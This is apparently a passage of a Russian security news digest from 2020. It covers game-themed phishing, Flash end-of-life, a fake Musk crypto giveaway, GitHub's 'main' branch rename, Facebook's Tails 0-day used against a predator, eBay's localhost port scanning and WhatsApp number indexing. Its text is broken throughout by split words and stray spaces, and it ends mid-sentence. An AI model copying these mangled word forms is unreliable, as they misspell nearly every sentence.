игров  ую темати ку. В час тнос ти, в апрел  е по сравн  ению с февр  алем на 40% выросл  о количес‐ 

тво забл  окиров  анн  ых попыток перехо да на сайт  ы, имит  иру ющие Steam.

Чащ  е  всег  о  злоу  мыш ленни ки  эксп  луа  ти рова ли  в  таких  кам пани ях  назв  ание  игры  Minecraft,

тем  самым  стрем  ясь  прив лечь  вни мание  поль зовате лей.  Оно  фигурир  ова ло  более  чем

в  130  000  атак.  Так же  в  топ‐3  эксп  лу ати руемых  назв  аний  вошл  и  такие  игры,  как  Counter-
Strike: Global Offensive и The Witcher 3: Wild Hunt.

Экс  пер ты  рас ска зыва ют,  что  прим  анк  ами  для  поль зовател  ей  обычн  о  ста нови лись  обещ  ания

бесплатных версий популярных игр,  обновлений  и  расширений,  а  так же  раз личных
читов.

УДАЛИТЕ FLASH

Еще в 2017 году комп  ании Apple, Facebook, Google, Microsoft, Mozilla, а такж  е
сама  ком пания  Adobe  анонс  ировал  и  сро ки  прекр  ащения  подд  ерж  ки  Flash.
Техн  ологию «умер твят» 31 декабр  я 2020 года, посл  е чего ее под дер жку прек‐ 
ратят все эти орган  изац  ии.

Точн  ый срок прек ращения под держ  ки был объ явлен в этом месяце на спе‐ 
циальн  ой  стра нице  подд  ер жки,  которую  Adobe  подг  отовил  а  за  пол года
до указ  анн  ой даты.

Adobe  поясн  ила,  что  намерев  ает ся  не  прост  о  прекр  атить  пре дост  авлять
обновле ния  для  Flash  Player,  но  пла нируе  т  удал  ить  все  ссыл ки  для  его  заг‐ 
рузки  со  сво его  сай та,  чтоб  ы  поль зовател  и  не  могл  и  ска чать  и  уста новить
неподд  ержи ваемую вер сию ПО.

Так же  комп  ания  заяви ла,  что  весь  «Flash‐кон тент  будет  заб локиров  ан
для запуск  а в Adobe Flash Player посл  е даты исте чения срок  а под дер жки». То
есть  ком пания  добави ла  или  пла нируе  т  добавить  в  код  Flash  Player  сво еоб‐ 
разную  «часовую  бом бу»,  что бы  пре дот вра тить  его  исполь зование
в будущем.

Кро ме  того,  Adobe  сообщ  ает,  что  до  кон ца  года  собирае  тся  попр  осить
поль зовател  ей вооб ще удал  ить Flash Player со сво их компью  те ров.

Эти  дейс  твия  можн  о  было  бы  назв  ать  весь ма  агрессив ными,  ведь  про‐ 
изво дител  и  ред ко  столь  катего ричн  о  запр  еща ют  людям  исполь зовать  свои
про дук ты пос ле окон чания сро ка под держ  ки. Однак  о Flash Player всегд  а был
одной  из  глав ных  целей  для  хакеров  и  автор  ов  малв  ари.  Как  толь ко  его
перес танут под держи вать, польз  овате ли стан  ут открыт  ы для новых уязв  имос‐ 
тей и атак, и комп  ания надее  тся избе жать этог  о.

150 000 ДОЛЛАРОВ ФАЛЬШИВОМУ МАСКУ

Мош  ен ники зах ватили три YouTube-канала (Juice TV, Right Human и MaximSakulevich) и дали

им новые назв  ания, свя зан ные с ком пани ей SpaceX (SpaceX Live и SpaceX). Один из угнанных

каналов имел 230 000 подп  исчик  ов, а друг  ой — 131 000 подп  исчи ков.

Зат  ем хакеры стал  и тран слир  овать видео с Ило ном Маск  ом, интервью и конф  еренц  ии SpaceX.
Выдавая эти записи за живые стрим  ы, злоу  мышл  енник  и про водил  и фикт  ивные раз дачи бит кой‐ 
нов.  Они  про сили  зри телей  прис лать  им  небольш  ое  количес тво  крипт  овалют  ы,  что бы  поучас‐ 
твов  ать в раз даче и получить обратно уже удвое  нную сум му.

Так  им  образ  ом  злоу  мышл  енни ки  выманил  и  у  польз  овател  ей  больш  е  150  000  долларов
в крип товалю те все го за 2 дня.

Фальш  ивый стрим

MASTER? MAIN!

Нэт  Фридм  ан  (Nat  Friedman),  возг  ла вив ший  GitHub  посл  е  сделк  и  с  Microsoft
в 2018 году, заявил в Twitter, что в комп  ании уже ведет ся работа над заменой
тер мина  master  на  более  ней тральн  ый  ана лог,  напр  имер  main,  что бы  избе‐ 
жать ненужн  ых отсы лок к рабовл  адель чес ким вре менам.

Есл  и  это  дейс  твит  ельн  о  про изой дет,  GitHub  стан  ет  одной  из  мно гих
ИТ‐ком паний и опенс  ор сных про ектов, выс казав шихся за отказ от тер минов,
которые  могут  быть  истолко ваны  как  оскорби тельн  ые  с  точ ки  зре ния  чер‐ 
нокожих разр  абот чиков.

Обыч но  отказ  ываю  тся  от  тер минов  master  и  slave  («хозя ин»  и  «раб»)
в поль зу таких альт  ер натив, как main, default, primary и, соот ветст  вен но, sec‐
ondary.  Так же  усто явшие  ся  понятия  whitelist  и  blacklist,  то  есть  «чер ный  спи‐ 
сок»  и  «белый  спис  ок»,  заменя ют  нейт  раль ными  allow  list  и  deny/exclude  list
(«спи сок раз решений» и «спис  ок запр  етов/исключ  ений»).

Под  влия  нием  про тес тов  Black  Lives  Matter,  прок  атив шихся  по  всей  тер‐ 
ритории США, ИТ‐сообщ  ест  во вновь вер нулось к обсужде нию этих вопр  осов.
Мно гие  раз работ чики  при лагаю  т  усил  ия,  чтоб  ы  удал  ить  подоб ную  тер‐ 
миноло гию из сво его исходног  о кода, прил  оже ний и онлайн‐сер висов.

К  при меру,  о  намерен  ии  подыск  ать  альт  ерн  ативы  для  whitelist/blacklist
в  посл  еднее  врем  я  сооб щили  разр  абот чики  Android,  язы ка  прогр  аммир  ова‐ 
ния Go, библ  иотек  и PHPUnit и ути литы Curl. В свою очер  едь, авто ры прое  кта
OpenZFS уже работа ют над заменой терм  инов master/slave, исполь зующих ся
для  опи сания  связ  ей  межд  у  сред  ами  хран  ения.  Габ риэль  Чапо  (Gabriel
Csapo), инже нер LinkedIn, и вовс  е заявил, что пода ет зап росы на обновле ние
мно гих  внут ренних  биб лиотек  Microsoft,  добива ясь  уда ления  из  них  любых
расист ских понятий.

Друг  ие  про екты,  которые  не  использ  уют  подобн  ые  тер мины  напр  ямую
в  сво ем  исходном  коде  или  поль зователь ских  интерфей сах,  обрат  или  вни‐ 
мание на свои репози тории с исходни ками. Дело в том, что больш  инст  во этих
про ектов  управляю  т  исходны ми  кодами  с  помощью  Git  или  GitHub,  а  Git
и  GitHub,  в  час тност  и,  использ  уют  обозн  ачение  master  для  дефол тно го
репозит  ория.

СМИ отмеч  ают, что ряд опенс  орс  ных про ектов уже под держа ли Black Lives
Matter  и  сме нили  наз вания  сво их  репози тори ев  с  master  по  умолч  анию
на раз личные аль терн  ативы (такие как main, default, primary, root). В их чис ле
OpenSSL, Ansible, PowerShell, JavaScript‐библ  иоте ка P5.js и мног  ие дру гие.

Эти  дей ствия  породил  и  в  опенс  орс  ном  сооб щес тве  весь ма  бур ную  дис‐ 
куссию,  и  дело  дош ло  до  того,  что  над  подобн  ыми  измен  ения  ми  теперь
задумал  ись  и  раз работ чики  Git  (хотя  соот ветст  ву ющие  обсужде ния  в  рас‐ 
сылке и на GitHub Issues по‐прежн  ему далеки от завер шения).

Но  что  бы  ни  решили  разр  абот чики  Git,  похоже,  предс  та вите ли  GitHub
собира ются  идти  сво им  путем.  Так,  недавн  о  инжен  ер  Chrome  Уна  Кра вец
сооб щила  в  Twitter,  что  коман да  раз работ ки  Chrome  рас смат ривае  т  воз‐ 
можность  переи  ме новать  дефол тную  вет ку  исходни ков  брау  зе ра  с  master
на более ней тральн  ое main.

В  сво ем  сообщ  ении  Крав  ец  попр  осила  GitHub  обрат  ить  вни мание  на  эту
проб лему  и  помочь  измен  ить  ситуа  цию  в  отрасли.  И,  как  мож но  увид  еть
на  иллюст  рац  ии  ниже,  на  твит  отве тил  сам  гла ва  GitHub  Нэт  Фрид ман.  Он
заявил, что это отличная идея и в GitHub уже работа ют над пробл  емой.

Сто ит  сказ  ать,  что  раз работ чики  стар  ают ся  иско ренить  некор рек тные
и потенц  иальн  о оскорбит  ель ные тер мины не толь ко в пос леднее вре мя. Все
началось  еще  в  2014  году,  когд  а  про ект  Drupal  отказ  алс  я  от  тер минов
master/slave  в  поль зу  primary/replica.  Уже  тог да  прим  еру  Drupal  пос ледовал  и
и дру гие, вклю чая Python, Chromium, Microsoft Roslyn .NET, а такж  е PostgreSQL
и Redis.

Несм  отря  на  то  что  подобн  ые  переме ны  явно  одобр  яют  раз работ чики
мно гих  крупн  ых  про ектов,  пока  все  это  не  получи ло  широко го  рас простра‐ 
нения. К прим  еру, боль шинст  во прот  ив ников подобн  ых изме нений час то объ‐ 
ясняю  т в диск  усси ях, что такие терм  ины, как master/slave, в наши дни исполь‐ 
зуют ся прост  о для опис  ания тех ническ  их сце нари ев, а не как отсылка к фак‐ 
тическ  ому  рабс тву.  Слов  о  же  blacklist,  то  есть  «чер ный  спис  ок»,  вообщ  е
не  имее  т  никако го  отнош  ения  к  тем нокожим  людям.  Оно  появи лось  еще  в
сред невеко вой  Англии,  когд  а,  напр  имер,  име на  проб лемных  наемн  ых
рабочих заноси ли в спец  иаль ные книг  и, которые называл  ись «черн  ыми» (при‐ 
чем речь шла о позоре, порицан  ии и наказа нии, а совс  ем не о цвет  е кожи).

ЧТО БУДЕТ С ПЕРСОНАЛЬНЫМИ ДАННЫМИ

Жур налист  ы  «Известий»  взя ли  интервью  у  глав  ы  групп  ы  ком паний  InfoWatch  Натальи  Кас пер‐ 
ской.  Беседа  в  основном  была  пос вящена  посл  едст  вия  м  панд  емии  коронав  иру са,  а  именн  о
проб лемам  «Соци аль ного  монитор  ин га»  и  дальн  ейшей  судь бе  перс  ональн  ых  данн  ых  гражд  ан
посл  е  оконч  ания  панд  емии.  По  мне нию  спе циалис тки,  за  уничт  ожени ем  соб ранной  информа‐ 
ции необ ходим тщат  ель ный конт  роль.

→ «Меня смущ  ает, что из‐за необх  одимост  и выписы вать про пус ка гражд  ане делятс  я сво ими
довольн  о  интимным  и  данн  ыми.  В  этом  смыс ле  намере ния  минис тра  и  мэра  уничт  ожить  их
потом очень хорошие. Но как доказать, что дан ные дей стви тель но уничт  ожены? Навер ное, дол‐ 
жно  быть  незави симое  ведомс тво,  которо му  это  поручат,  напр  имер  Федеральн  ая  служ ба
по  тех ническ  ому  и  экспортном  у  кон тро лю  (ФСТЭК),  или  Федеральн  ая  служ ба  безопас ности,
или груп па общест  вен ников, которая пров  едет аудит, оце нит, где эти дан ные хран  ились, каким
обра зом были уда лены, нас коль ко удал  ение полн  ое, не остал  ось ли там „хвос тов“. Очев  идн  о,
нужн  о  прив лекать  и  внеш них  экспер тов.  Про веден  ие  аудит  а  если  и  не  даст  стоп роцент  ную
гарант  ию, то по край ней мере знач  ительн  о сни зит риск»
— Наталья Кас перс  кая

FACEBOOK
ПРОТИВ ПЕДОФИЛА

Удив  итель ная исто рия стал  а дост  оянием общес твен ности в июне 2020 года.
Изда ние  Vice  Motherboard  сооб щило  все му  миру,  что  ком пания  Facebook
наняла  сто рон них  ИБ‐экспер тов  и  пот ратила  шес тизнач ную  сум му  на  соз‐ 
дание  эксп  ло ита  для  0day‐уязв  имос ти  в  опер  аци онной  сис теме  Tails.  Все
это было сде лано ради деанон  ими зации и поим ки одно го челове ка, которог  о
сот рудни ки  социа  льн  ой  сети  счи тали  одним  из  худ ших  киберп  рест  упник  ов
во все вре мена.

Жур налист  ы  расс  каз  али,  что  на  прот  яжен  ии  дол гих  лет,  вплоть
до  2017  года,  житель  Калифорн  ии  пресл  едовал  и  терр  оризи ровал  девушек,
использ  уя для это го чаты, элек трон ную почт  у и Facebook. Он вымогал у сво их
жертв откров  ен ные фотогр  афии и видео, а так же угро жал убить и изнас  ило‐ 
вать их. Хуже того, неред ко он при сылал сво им жерт  вам крас  оч ные и вполн  е
кон крет ные  угро зы,  обещ  ая  устро ить  стрельб  у  и  взрыв  ы  в  шко лах
для девочек, если ему не пришл  ют фото и видео сек суаль ного характ  ера.

Это го челове ка зовут Баст  ер Эрнандес (Buster Hernandez), а в сети он был
известен под ником Brian Kil. Сейч  ас личн  ость Эрнанде са уже извес тна, но до
это го  он  пред ставл  ял  такую  угроз  у  и  так  искусно  скрыв  ал  свои  дан ные,  что
руководст  во Facebook пошл  о на бесп  рец  едент  ный шаг и помогл  о ФБР взло‐ 
мать его и соб рать доказат  ель ства, которые в итог  е прив  ели к арес ту и осуж‐ 
дению.

Согл  асно собст  венн  ым источни кам журн  алис тов, это был перв  ый и единс‐ 
твенн  ый раз в исто рии, когд  а Facebook помогал  а пра воох ранитель ным орга‐ 
нам взло мать кон крет ного челове ка.

В  Facebook  Эрнандес  а  искренн  е  счит  али  худ шим  прес тупник  ом,  ког‐ 
да‐либо  использ  овавш  им  плат форму,  о  чем  Vice  Motherboard  расс  каз  али
сраз  у  нес кольк  о  бывш  их  сот рудни ков  соци альн  ой  сети.  По  их  сло вам,  Face‐
book  даже  наз начила  спе циаль ного  сот рудник  а,  который  след  ил  за  все ми
дейс  тви ями  Эрнанде са  око ло  двух  лет  и  разр  аботал  новую  сист  ему  машин‐ 
ного  обу чения.  Она  дол жна  была  выявл  ять  польз  овате лей,  которые  созд  ают
новые учет ные записи и общаю  тся с детьм  и, пыта ясь их эксп  лу атир  овать. Эта
сис тема  помогл  а  обна ружить  Эрнандес  а,  выявить  друг  ие  его  псев донимы,
а такж  е най ти его жертв.

Кро ме  того,  к  «охо те»  на  Эрнандес  а  были  привл  ечены  сраз  у  нес коль ко
офи сов  ФБР.  В  какой‐то  момент  Бюро  пред при няло  попыт ку  взло мать
и  деано ними зиро вать  его  самост  оятельн  о,  одна ко  потер пело  неудач  у,  так
как  исполь зуемый  ими  инст  ру мент  для  взлом  а  не  был  прис пособл  ен  прот  ив
Tails.  По  информац  ии  журн  алист  ов,  Эрнандес  заметил  эту  попыт ку  взлом  а
и потом глум  ил ся над ФБР.

В ито ге коман да безопас ности Facebook, которую тогд  а возг  лав лял Алекс
Ста мос, пришл  а к выводу, что они могут сдел  ать боль ше и что ФБР нуж на их
помощь, что бы разобл  ачить Brian Kil. Тогд  а Facebook наняла конс  алтинг  овую
ИБ‐фир му  для  разр  абот ки  хакерс  ко го  инс тру мент  а,  пот ратив  на  это  шес‐ 
тизначн  ую сумм  у.

Для  работы  Эрнандес  использ  овал  защищенн  ую  опе рацио  нную  сис тему
Tails.  Это  ОС  семей ства  Debian  Linux,  основ  ан ная  на  серье  зных  прин ципах
защиты дан ных. Спра ведл  ивос ти ради нужн  о сказ  ать, что широко использ  уют
Tails  не  тольк  о  прес тупни ки,  но  и  жур налис ты,  акти вист  ы,  прав  озащ  ит ники
и дис сиден ты, которые опас  ают ся слежк  и полиции и прав  итель ств.

Ис точник  и изда ния опи сыва ют созд  анный для взло ма инс тру мент как экс‐ 
пло ит для уязв  имост  и нулевог  о дня. Стор  онн  яя фир ма работа ла с инжен  ера‐ 
ми Facebook, и совм  ес тно они соз дали прогр  амму, которая эксп  луа  ти рова ла
баг  в  виде опле ере  Tails.  Уяз вимость  позв  оляла  выявить  реаль ный  IP‐адрес
челове ка,  прос матрив  ающе го  спец  иальн  о  созд  анное  видео.  Затем,  по  сло‐ 
вам трех нынеш них и быв ших сот рудни ков, Facebook передал  а этот эксп  лои  т
пос редник  у, который уже дост  авил инст  рум  ент ФБР.

Посл  е  это го  ФБР  получил  о  ордер  и  заручи лось  подд  ер жкой  одной
из  жертв,  которая  и  отправ  ила  вред  оносн  ое  видео  Эрнандес  у.  В  результ  ате
в фев рале текущег  о года муж чина приз нал себя винов ным по 41 статье обви‐ 
нения, в том чис ле в про изводст  ве дет ской порн  огра фии, прин  уж дении и сов‐ 
ращении  несоверш  енно лет них,  угро зах  убий ством,  похище нием  и  прич  ине‐ 
нием  вред  а.  В  нас тоящее  врем  я  Баст  ер  Эрнандес  ожид  ает  вынесе ния  при‐ 
гово ра и, веро ятно, про ведет оста ток жизн  и в тюрь ме.

→Продолжение статьи

←  Начало статьи

Од на из жертв передае  т вред  онос ное видео Эрнандес  у

Раз работ чики Tails сооб щили издан  ию, что ничего не зна ли об исто рии Бас‐ 
тера  Эрнандес  а  и  не  предс  тав ляют,  какая  уязв  имость  использ  овалась
для его деано нимиз  ации. Пресс‐служб  а Tails назв  ала эту информа цию новой
и,  воз можно,  кон фиден циаль ной,  а  так же  завери ла,  что  эксп  лои  т  никогд  а
не  пред  ост  авлял ся  на  суд  команд  ы  раз работ ки  Tails  (та  о  нем  попр  осту
не знал  а).

В целом этот ранее неизв  ес тный общест  вен ности слу чай сот руднич  ес тва
межд  у  социа  льн  ой  сетью  и  ФБР  не  тольк  о  под черки вает  тех ническ  ие  воз‐ 
можност  и  Facebook  (а  такж  е  стор  он ней  комп  ании,  привл  ечен ной  к  делу)
и  прав  оох ранитель ных  орган  ов,  но  и  став  ит  сложн  ые  этич  еск  ие  вопр  осы.
К  прим  еру,  умест  но  ли  для  час тных  комп  аний  оказ  ывать  помощь  во  взлом  е
собст  венн  ых польз  овател  ей.

По читать подр  обнее об этом из ряда вон выходя щем слу чае мож но в на‐ 
шем матери але.

COVID, ФИШИНГ И ШИФРОВАЛЬЩИКИ

Эк сперт  ы  ком пании  Positive  Technologies  проа  нал  изир  овал  и  кибера таки  в  пер вом  квар‐ 
тале 2020 года и выясн  или, что числ  о инци ден тов зна читель но выросл  о по сравн  ению с пре‐ 

дыдущ  им квар талом и окол  о 13% фишин говых атак были свя заны с темой COVID‐19.
Чуть менее полови ны фишинг  овых расс  ылок, связ  ан ных с COVID‐19 (44%), приш лись на час‐ 
тных лиц, а кажд  ая 5-я расс  ылка была нап равлен  а на государс твенн  ые орган  изац  ии.

Эпи деми ей  польз  овались  как  для  мас совых  вре донос ных  кам паний,  так  и  для  слож ных
целенапр  авленн  ых  атак  (APT‐атак).  Под  видом  офи циаль ных  дан ных  о  ста тист  ике  зараже ний,
мерах  проф  илак тики  и  вакц  ине,  расс  ыла емых  якоб  ы  от  име ни  государс твенн  ых  орган  ов

и медицин ских учрежде ний, в пер вом квар тале рас простра нялась малв  арь Emotet,  Remcos,
AZORult, Agent Tesla, LokiBot, TrickBot и дру гие.
Рас сылки  писем  с  вре донос ными  вло жения  ми  на  тему  эпид  емии  про водил  и  груп пы  TA505,
Hades, Mustang Panda, APT36, SongXY, а такж  е южно корейс  кая групп  ировк  а Higaisa.
В  перв  ом  кварт  але  2020  года  было  выявл  ено  на  22,5%  больш  е  киберат  ак,  чем  в  четв  ертом

квар тале 2019 года.

Мот  ивы хакеров

В общей слож ности в течение квар тала высокую активность проя  вля ли 23 APT-группировки,
атак  и  которых  были  напр  авлен  ы  преи  мущ  ес твен но  на  госучреждения,  промышленные
предприятия, финансовую отрасль и медицинские организации.

Объе  кты атак

По  сравн  ению  с  посл  едним  кварт  алом  прош лого  года  сущес твенн  о  выросл  а  и  доля  атак

на госуч режде ния с исполь зовани ем мал вари (81% прот  ив 66%) и методов соци альн  ой инже‐ 
нерии (79% прот  ив 66%).

СЛЕЖКА
ЧЕРЕЗ ПОРТЫ

В  конц  е  мая  2020  года  ИБ‐экспер ты  и  жур налист  ы  Bleeping  Computer  обна‐ 
ружил  и, что сайт ebay.com ска нируе  т локальн  ые порт  ы посетит  елей в поиск  ах
при ложен  ий для уда лен ной подд  ерж  ки и удал  енн  ого дос тупа. Мно гие из этих
пор тов свя заны с такими инст  рум  ен тами, как Windows Remote Desktop, VNC,
TeamViewer,  Ammyy  Admin.  Скан  иров  ание  выпол няет ся  при  помощи  скрип та
check.js.

ИБ‐спец  иалист Дэн Немек посв  ятил этой странн  ой активност  и eBay целую
статью,  где  пост  арал ся  разобр  атьс  я  в  прои  сход  ящем.  Так,  Немек  сумел
прос ледить  использ  уемый  аукц  ионом  скрипт  до  про дукт  а  ThreatMetrix,  соз‐ 
данно го  ком пание  й  LexisNexis  и  пред назна чен ного  выяв лять  мошенн  иков.
Хотя ска нер eBay, по сути, ищет извест  ные и легитим ные прогр  аммы для уда‐ 
ленн  ого  дос тупа  и  адми нист  рир  ова ния,  в  прошл  ом  некотор  ые  из  них  дей‐ 
ствит  ель но исполь зовались в качес тве RAT в фишин говых кам пания  х.

То есть ска ниро вание, очев  идн  о, про водит ся, чтоб  ы обнар  ужить ском про‐ 
мети рован ные  компью  тер  ы,  которые  использ  уют ся  для  мошенн  ичест  ва
на eBay. К прим  еру, еще в 2016 году зло умыш ленник  и с помощью TeamViewer
захв  атывал  и  чужие  машины,  опус тошали  сче та  PayPal  и  заказы вали  товары
с eBay и Amazon.

Ска ниро вание  выпол няет ся  с  использ  овани ем  WebSockets  для  подк  лю‐ 
чения к 127.0.0.1. Все 14 ска ниру емых порт  ов и связ  ан ные с ними прог раммы
перечис лены в таб лице ниже. Жур налист  ы Bleeping Computer так и не смог ли
опред  елить  прог рамму  на  порт  е  63333.  Основ  ывая  сь  на  иден тификат  оре
REF, они предп  олага ют, что это кон трольн  ый порт для тес тов.

Что бы  узнать,  какие  еще  сайт  ы  могут  использ  овать  этот  скрипт,  Bleeping
Computer обра тил ся за помощью к спе циалис там ИБ‐комп  ании DomainTools.
Дело  в  том,  что  сайт  ы  загр  ужа ют  защит ные  скрип ты  ThreatMetrix  с  помощью
поль зователь ско го  хост  а  на  online‐metrix.net.  Нап ример,  eBay  заг ружае  т
скрипт  ThreatMetrix  с  src.ebay‐us.com,  это  CNAME  DNS  для  h‐ebay.online‐
metrix.net.

Комп  ания  DomainTools  помогл  а  изда нию  сост  авить  спис  ок  из  387  ана‐ 
логичн  ых уни каль ных хост  ов на online‐metrix.net. Использ  уя этот спи сок, жур‐ 
налист  ы посетил  и сай ты мно гих крупн  ых комп  аний и про вери ли, скан  иру ют ли
они компью  те ры сво их посети телей.

Хо тя  ни  один  сайт  из  полученн  ого  спис ка  не  дотяги вает  до  eBay  по  раз‐ 
мерам, мно гие из ресурс  ов при надл  ежат широко извест  ным брен дам. В час‐ 
тност  и, ока залось, что компь ютер  ы польз  овател  ей ска ниру ют скрипт  ы на сай‐ 
тах  Citibank,  TD  Bank,  Ameriprise,  Chick‐fil‐A,  LendUp,  Beachbody,  Equifax  IQ
Connect, TIAA‐CREF, Sky, Gumtree и WePay.

Ин тересн  о,  что  скан  иро вание  порт  ов  кажд  ый  раз  выполн  ялось  по‐раз‐ 
ному,  в  зависи мос ти  конк  рет ного  от  сай та.  Напр  имер,  Citibank,  Ameriprise
и TIAA‐CREF скан  ирую  т компью  те ры сраз  у же, при посеще нии глав ной стра‐ 
ницы  сайт  а.  Тог да  как  TD  Bank,  Chick‐fil‐A,  LendUp,  Equifax  IQ  Connect,  Sky,
Gumtree и WePay ска нирую  т тольк  о порт  ы тех посети телей, которые пытались
войт  и  в  сист  ему.  В  свою  очер  едь,  BeachBody.com  скан  ируе  т  пор ты  толь ко
при оформ  лен  ии заказа.

На  осно вании  полученн  ого  списк  а  доменов  были  выяв лены  и  дру гие
извес тные ком пании, которые исполь зуют скрипт ThreatMetrix. Это: Netflix, Tar‐
get,  Walmart,  ESPN,  Lloyd  Bank,  HSN,  Telecharge,  Ticketmaster,  TripAdvisor,
PaySafeCard  и,  веро ятно,  даже  Microsoft.  Исслед  ова телям  не  уда лось  акти‐ 
виро вать функ  цию скан  иро вания пор тов на этих сай тах, но она может исполь‐ 
зовать ся на стра ницах, куда эксперт  ы поп росту не доб рались.

Жур налис ты  про тес тировал  и  неск  ольк  о  спос  обов  избав  ить ся  от  такого
наб людения.  Ока залось,  что  бло киров щик  рек ламы  uBlock  Origin  в  бра узе ре
Firefox  ока зал ся  спо собен  забл  окиров  ать  работу  скрипт  а  ThreatMetrix.  Увы,
но  во  врем  я  дру гих  тест  ов  uBlock  Origin  не  смог  бло киров  ать  ска ниров  ание
ни в новом Microsoft Edge, ни в Google Chrome.

Но  позж  е  мно гие  читател  и  издан  ия  отме тили,  что  у  uBlock  Origin
для Chrome все же получил  ось заб локиров  ать скан  иро вание порт  ов на eBay,
и  тогд  а  жур налист  ы  связ  ались  с  разр  абот чиком  блок  иров щика  Райм  онд  ом
Хил лом  и  спро сили,  не  вно сил  ли  тот  какие‐то  измен  ения  в  код  свое  го  про‐ 
дукт  а.  Созд  атель  uBlock  Origin  отве тил,  что  ничего  не  менялось,  и  пред‐ 
положил, что сай ты могл  и сами отка затьс  я от исполь зования ThreatMetrix.

Хилл  так же  рекоменд  овал  журн  алис там  использ  овать  логи  uBlock  Origin,
что бы  обна ружить  пра вила,  блок  иру ющие  скрипт  для  ска ниро вания  пор тов.
Таким  обра зом  удал  ось  понять,  что  изна чаль но  eBay  ска ниров  ал  пор ты
посети телей  при  посещен  ии  домаш ней  стран  ицы  и  про чих  стра ниц  сай та,
но теперь аук цион перенес фун кцию скан  иров  ания пор тов на стран  ицы офор‐ 
млен  ия заказа.

Пос мотрев  логи  посл  е  посещен  ия  стран  ицы  офор млен  ия  заказа,  иссле‐ 
доват  ели увид  ели, что спис  ок фильт  ров EasyPrivacy бло киру ет скрипт‐скан  ер,
рас положенн  ый по адрес  у src.ebay‐us.com/fp/check.js.

Посл  едую  щее изу чение ком митов для спис ка EasyPrivacy помогл  о понять,
что скрипт для ска ниро вания пор тов на eBay блок  иру ет недавн  о добав ленное
пра вило.

Как  показа ло  изу чение  друг  их  сайт  ов,  скрипт  для  скан  иро вания  порт  ов  бло‐ 
киро вал ся  филь тром,  пред назнач  енн  ым  для  скрипт  а  /fp/tags.js?,  который
исполь зовал ся для запус ка скрип та‐скан  ера.

Ока залось,  что  в  ито ге,  благ  одар  я  новому  фильт  ру,  EasyPrivacy  эффектив но
бло киру ет  ска ниро вание  порт  ов  на  eBay,  Ameriprise,  Citi,  TD  Bank,  LendUp,
Beachbody, Equifax IQ Connect и Sky. К сожален  ию, пра вил для TIAA.org, Chick‐
fil‐A,  Gumtree  и  WePay  пока  нет,  и  эти  сайт  ы  по‐преж нему  изуч  ают  пор ты
посети телей, даже если те исполь зуют расш  ирение uBlock Origin.

ЛИЧНЫЕ ГАДЖЕТЫ НА РАБОТЕ

Согл  асно исслед  ова нию «Лабора тории Кас перс  ко го», 85% сот рудни ков рос сий ских ком паний,
чей штат не прев  ышае  т 50 человек, исполь зуют для удал  енн  ой работы в пери од панд  емии лич‐ 

ные устройс  тва.

19%  работ ников  начали  прим  енять  собст  вен ные  устройс  тва  в  биз нес‐целях  посл  е  перехо да
на дис танци онный режим работы, но 54% отмет  или, что делали это и рань ше.

Исс  ле дова тели  увер  ены,  что  в  сло живш  ихся  обсто ятель ствах  ком пания  м  сле дует  повышать
циф ровую грам  отн  ость сот рудни ков и напоми нать о таких базовых треб  ова ниях информа цион‐ 
ной  безопасн  ости,  как  наличие  защит ного  решения  на  рабочем  устрой стве,  использ  ование
надежн  ых и уни каль ных паролей, регуляр ное обновле ние прогр  амм. Но подоб ные инс трукц  ии

получал  и лишь 8% сотр  удни ков малых орга низац  ий.

НОМЕРА WHATSAPP
В GOOGLE

ИБ‐спец  иалист Атул Джа ярам обрат  ил вни мание, что один из доменов What‐
sApp  (wa.me)  сли вает  телефон ные  номера  польз  овател  ей,  позв  оляя  Google
их индекси ровать.

До мен  wa.me  дейс  твит  ель но  при надл  ежит  мес сен дже ру  WhatsApp
и использ  ует ся для разм  ещения спец  иаль ных ссы лок типа click to chat, пос ле
нажатия  на  которые  мож но  начать  чат  с  кем‐то,  чьего  номера  телефон  а  нет
в кон тактах.

Исс  лед  ова тель  объ ясняе  т,  что  у  доменов  wa.me  и  api.whatsapp.com
отсутс твуе  т  файл  robots.txt,  который  говорил  бы  поиск  овым  сист  емам,  что
не  нужн  о  скан  иро вать  телефонн  ые  номера  на  сайт  е.  В  резуль тате  ссыл ки,
начина ющиеся  с  https://wa.me/,  индексир  уют ся  Google  и  друг  ими  поис‐ 
ковыми  сис темами  и  появл  яют ся  в  результ  атах  поиск  а.  При  нажатии  такие
ссыл ки перенап равля ют человек  а на api.whatsapp.com, где он может прод  ол‐ 
жить чат с поль зовател  ем WhatsApp.

«По  мере  того  как  телефон ные  номера  „утек  ают“,  зло умыш ленник
может  отправл  ять  на  них  сообщ  ения,  зво нить,  про дать  эти  телефон- 
ные номера мар кетоло гам, спам  ерам и мошенн  икам», — расс  ка зыва ет
Джая  рам.

Изд  ание  Bleeping  Computer,  журн  алис тов  которо го  заинт  ересов  ала  данн  ая
пробл  ема,  отме чает,  что  обнар  ужен ная  исслед  оват  елем  странн  ость  —
это  вовс  е  не  обяз  атель но  ошиб ка.  Для  тест  а  жур налис ты  созд  али  фей ковую
ссыл ку http://wa.me/11111, использ  уя под дельн  ый номер телефон  а. Как можн  о
видеть  на  иллюс трац  ии  ниже,  эта  ссыл ка  перенапр  авляе  т  на  api.whatsapp.‐
com/send?phone=11111 и в ито ге при водит на ту же самую целевую стран  ицу,
соз давая впеч  ат ление, буд то номер являе  тся активным WhatsApp‐кон тактом,
даже если это не так.

То есть спам  еры не могут прост  о исполь зовать эту фун кцию для перебор  а
нас тоящих номеров WhatsApp. Возм  ожно, именн  о по этой прич  ине Facebook
откло нила  запр  ос  исслед  ова теля  на  получе ние  воз награж дения  по  прог‐ 
рамме bug bounty.

Такж  е  журн  алис ты  отмеч  ают,  что  в  сети  давн  о  дост  упны  целые  каталог  и
телефонн  ых  номеров,  чьи  вла дельц  ы  никогд  а  не  име ли  учет ных  записей
в WhatsApp и дру гих мес сенд  же рах, а Google никогд  а их не индекси ровал.

Тем  не  менее  Джая  рам  по‐преж нему  убежд  ен,  что  такая  утеч ка  телефон‐ 
ных номеров может предс  тавл  ять угро зу безопас ности и конф  иденц  иальн  ос‐ 
ти  польз  овате лей  месс  енд  жер  а.  Он  рекоменд  ует  инжен  ерам  WhatsApp
исполь зовать  файл  robots.txt  для  сво их  доменов,  не  позв  оляя  Google
индекси ровать номера телефо нов.

«К  сожален  ию,  они  еще  не  сде лали  это го,  и  ваша  конф  иденц  иаль- 
ность  может  быть  пос тавле на  на  карт  у.  Сегод ня  ваш  номер  мобиль- 
ного телефон  а свя зан с вашими Bitcoin-кошель ками, Aadhaar, бан ков- 
